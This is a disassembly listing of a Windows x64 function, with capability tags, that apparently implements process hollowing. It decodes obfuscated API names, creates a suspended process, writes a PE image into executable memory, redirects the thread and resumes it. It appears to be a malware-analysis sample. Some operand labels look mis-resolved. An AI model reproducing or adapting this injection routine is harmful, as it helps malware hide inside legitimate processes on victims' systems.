Function at 0x200001dc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x9b8
mov rbx, rcx
mov r14, r8
lea rcx, [rsp + 0x2c1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x2c0], 0
call fcn.20000d940
lea rcx, [rsp + 0x3d1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x3d0], 0
call fcn.20000d940
lea rcx, [rsp + 0xb1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xb0], 0
call fcn.20000d940
xor esi, esi
lea rcx, [rsp + 0x241]
lea r8d, [rsi + 0x7f]
xor edx, edx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], rsi
call fcn.20000d940
lea r12, [0x200000000]
mov rax, qword [r12 + 0x17c68]
lea rdx, [rsp + 0x240]
mov r9d, esi
mov qword [rdx], rax
movzx eax, word [r12 + 0x17c70]
mov rdi, rsi
mov word [rdx + 8], ax
movzx eax, byte [r12 + 0x17c72]
mov byte [rdx + 0xa], al
nop dword [rax]
movzx r8d, byte [rdi + r12 + 0x17d38]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x240]
cmp r8b, cl
je 0x200001ed1
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x200001ed9
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0xc
jl 0x200001e90
movsxd rax, r9d
lea rcx, [rsp + 0xb0]
mov byte [rsp + rax + 0xb0], sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
je 0x200002826
xor edx, edx
lea rcx, [rsp + 0x1c1]
mov qword [rsp + 0x9f0], r13
lea r8d, [rdx + 0x7f]
mov qword [rsp + 0x9b0], r15
call fcn.20000d940
mov rcx, qword [r12 + 0x17c68]
movzx eax, byte [r12 + 0x17c72]
lea rdx, [rsp + 0x1c0]
mov r9d, esi
mov rdi, rsi
mov qword [rdx], rcx
movzx ecx, word [r12 + 0x17c70]
mov word [rdx + 8], cx
mov byte [rdx + 0xa], al
nop
movzx r8d, byte [rdi + r12 + 0x17d48]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x1c0]
cmp r8b, cl
je 0x200001fa1
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x200001fa9
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0x10
jl 0x200001f60
movsxd rax, r9d
lea rdx, [rsp + 0xb0]
mov rcx, rbp
mov byte [rsp + rax + 0xb0], sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rsp + 0x1c1]
mov r13, rax
call fcn.20000d940
mov rcx, qword [r12 + 0x17c68]
lea rdx, [rsp + 0x1c0]
mov qword [rdx], rcx
movzx ecx, word [r12 + 0x17c70]
mov r9d, esi
mov word [rdx + 8], cx
movzx ecx, byte [r12 + 0x17c72]
mov rdi, rsi
mov byte [rdx + 0xa], cl
nop dword [rax]
movzx r8d, byte [rdi + r12 + 0x17d60]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x1c0]
cmp r8b, cl
je 0x200002061
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x200002069
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0x10
jl 0x200002020
movsxd rax, r9d
lea rdx, [rsp + 0xb0]
mov rcx, rbp
mov byte [rsp + rax + 0xb0], sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rsp + 0x1c1]
mov qword [rsp + 0x68], rax
call fcn.20000d940
mov rcx, qword [r12 + 0x17c68]
lea rdx, [rsp + 0x1c0]
mov qword [rdx], rcx
movzx ecx, word [r12 + 0x17c70]
mov r9d, esi
mov word [rdx + 8], cx
movzx ecx, byte [r12 + 0x17c72]
mov rdi, rsi
mov byte [rdx + 0xa], cl
nop dword [rax + rax]
movzx r8d, byte [rdi + r12 + 0x17d78]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x1c0]
cmp r8b, cl
je 0x200002121
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x200002129
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0x11
jl 0x2000020e0
movsxd rax, r9d
lea rdx, [rsp + 0xb0]
mov rcx, rbp
mov byte [rsp + rax + 0xb0], sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rsp + 0x1c1]
mov rsi, rax
call fcn.20000d940
mov rcx, qword [r12 + 0x17c68]
lea rdx, [rsp + 0x1c0]
mov qword [rdx], rcx
movzx ecx, word [r12 + 0x17c70]
xor eax, eax
mov word [rdx + 8], cx
movzx ecx, byte [r12 + 0x17c72]
mov r9d, eax
mov byte [rdx + 0xa], cl
mov rdi, rax
nop dword [rax + rax]
movzx r8d, byte [rdi + r12 + 0x17d90]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x1c0]
cmp r8b, cl
je 0x2000021e1
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x2000021e9
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0x12
jl 0x2000021a0
movsxd rax, r9d
lea rdx, [rsp + 0xb0]
mov rcx, rbp
mov byte [rsp + rax + 0xb0], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rsp + 0x1c1]
mov r12, rax
mov qword [rsp + 0x70], rax
call fcn.20000d940
lea r15, [0x200000000]
mov rcx, qword [r15 + 0x17c68]
lea rdx, [rsp + 0x1c0]
xor eax, eax
mov qword [rdx], rcx
movzx ecx, word [r15 + 0x17c70]
mov r9d, eax
mov word [rdx + 8], cx
movzx ecx, byte [r15 + 0x17c72]
mov rdi, rax
mov byte [rdx + 0xa], cl
nop word [rax + rax]
movzx r8d, byte [rdi + r15 + 0x17da8]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x1c0]
cmp r8b, cl
je 0x2000022b1
xor r8b, cl
mov byte [rsp + rdi + 0xb0], r8b
jmp 0x2000022b9
mov byte [rsp + rdi + 0xb0], r8b
inc rdi
inc r9d
cmp rdi, 0x10
jl 0x200002270
movsxd rax, r9d
lea rdx, [rsp + 0xb0]
mov rcx, rbp
mov byte [rsp + rax + 0xb0], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
test r13, r13
je 0x20000281f
test r15, r15
je 0x20000281f
test rsi, rsi
je 0x20000281f
test r12, r12
je 0x20000281f
test rax, rax
je 0x20000281f
xor edx, edx
lea rcx, [rsp + 0x240]
lea r8d, [rdx + 0x68]
call fcn.20000d940
xor edx, edx
lea rcx, [rsp + 0x4e0]
mov r8d, 0x4d0
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], rdx
call fcn.20000d940
mov dword [rsp + 0x240], 0x68
test rbx, rbx
jne 0x200002383
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x20000239e
lea rcx, [rsp + 0x2c0]
sub rcx, rbx
nop
movzx eax, byte [rbx]
inc rbx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x200002390
xor ebp, ebp
mov rcx, rbp
movzx eax, byte [rsp + rcx + 0x2c0]
inc rcx
mov byte [rsp + rcx + 0x3cf], al
test al, al
jne 0x2000023a3
lea rcx, [rsp + 0x3d0]
mov edx, 0x5c
call fcn.200008954
mov byte [rax], bpl
test r14, r14
je 0x200002408
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r14
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x200002408
lea r8, [rsp + 0x2c0]
lea rdx, str.__s___s
lea rcx, [rsp + 0xb0]
mov r9, r14
call fcn.200007d18
jmp 0x200002426
mov rcx, rbp
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x2c0]
inc rcx
mov byte [rsp + rcx + 0xaf], al
test al, al
jne 0x200002410
lea rax, [rsp + 0x50]
mov r14d, 4
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x240]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3d0]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x3e8
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x20000281f
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x4e0]
mov dword [rsp + 0x510], 0x10000b
call r13
test eax, eax
je 0x20000280f
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rsp + 0x50]
lea r9d, [r14 + 4]
lea r8, [rsp + 0x78]
add rdx, 0x10
mov qword [rsp + 0x20], rbp
call rsi
test eax, eax
je 0x2000025fc
lea rcx, str.NTDLL.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x20000280f
lea rdx, [0x200017dd8]
lea rcx, [rsp + 0xb0]
call section..text
lea rdx, [rsp + 0xb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
mov qword [0x20001d230], rax
call rax
test eax, eax
je 0x200002564
mov rcx, qword [rsp + 0x50]
lea edx, [r14 - 3]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov r13, qword [rsp + 0x9f0]
mov r15, qword [rsp + 0x9b0]
add rsp, 0x9b8
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
mov r9d, 0x3000
mov r8d, 0x20
mov qword [rsp + 0x90], rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x20000280f
mov rdi, qword [rsp + 0x9f8]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r13d, dword [rdi + 0x3c]
mov dword [rsp + 0x20], r14d
add r13, rdi
mov r8d, dword [r13 + 0x50]
mov rdx, qword [r13 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x20000280f
mov r9d, dword [r13 + 0x54]
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov rdx, rax
mov qword [rsp + 0x20], rbp
call r12
test eax, eax
jne 0x200002623
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x50]
mov edx, 1
mov edi, eax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x200002544
mov r14d, ebp
cmp bp, word [r13 + 6]
jae 0x200002740
lea rdi, [r13 + 0x114]
lea rsi, [r13 + 0x110]
lea r12, [r13 + 0x12c]
lea rbx, [r13 + 0x118]
lea rbp, [r13 + 0x11c]
mov r8d, dword [rbp]
mov edx, dword [rdi]
mov r9d, dword [rbx]
add r8, qword [rsp + 0x9f8]
mov rcx, qword [rsp + 0x50]
add rdx, r15
mov qword [rsp + 0x20], 0
call qword [rsp + WSAStartup]
cmp dword [rbx], 0
jne 0x200002698
add rbp, 0x28
add rbx, 0x28
add r12, 0x28
add rsi, 0x28
add rdi, 0x28
jmp 0x200002720
test eax, eax
je 0x20000280f
mov eax, dword [r12]
xor r9d, r9d
mov ecx, 2
bt eax, 0x1e
cmovb r9d, ecx
bt eax, 0x1f
mov ecx, 4
cmovb r9d, ecx
bt eax, 0x1d
jae 0x2000026e3
or r9d, 0x10
test cl, r9b
je 0x2000026d6
lea r9d, [rcx + 0x3c]
jmp 0x2000026e3
test r9b, 2
mov eax, 0x20
cmovne r9d, eax
mov edx, dword [rdi]
mov r8d, dword [rsi]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0xa08]
add rdx, r15
mov qword [rsp + 0x20], rax
call qword [rsp + 0x88]
test eax, eax
je 0x200002809
add rbp, 0x28
add rbx, 0x28
add r12, 0x28
add rsi, 0x28
add rdi, 0x28
movzx eax, word [r13 + 6]
inc r14d
cmp r14d, eax
jl 0x200002654
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x70]
xor ebp, ebp
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x80]
add rdx, 0x10
mov r9d, 8
mov dword [rsp + 0x510], 0x10000b
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x20], rbp
call r12
test eax, eax
je 0x20000280f
mov edi, dword [r13 + 0x28]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x4e0]
add rdi, r15
call qword [rsp + 0x68]
test eax, eax
je 0x20000280f
lea rdx, [0x200000000]
lea rcx, [rsp + 0x98]
lea r8, [rsp + 0x98]
mov rax, qword [rdx + 0x17df0]
mov r9d, recv
mov qword [rsp + 0x20], rbp
mov qword [rcx], rax
mov eax, dword [rdx + 0x17df8]
mov dword [rcx + 8], eax
movzx eax, byte [rdx + 0x17dfc]
mov rdx, rbx
mov byte [rcx + 0xc], al
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x9a], rdi
call r12
test eax, eax
je 0x20000280f
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, qword [rsp + 0x50]
jmp 0x200002544
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x200002544
xor eax, eax
add rsp, 0x9b8
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret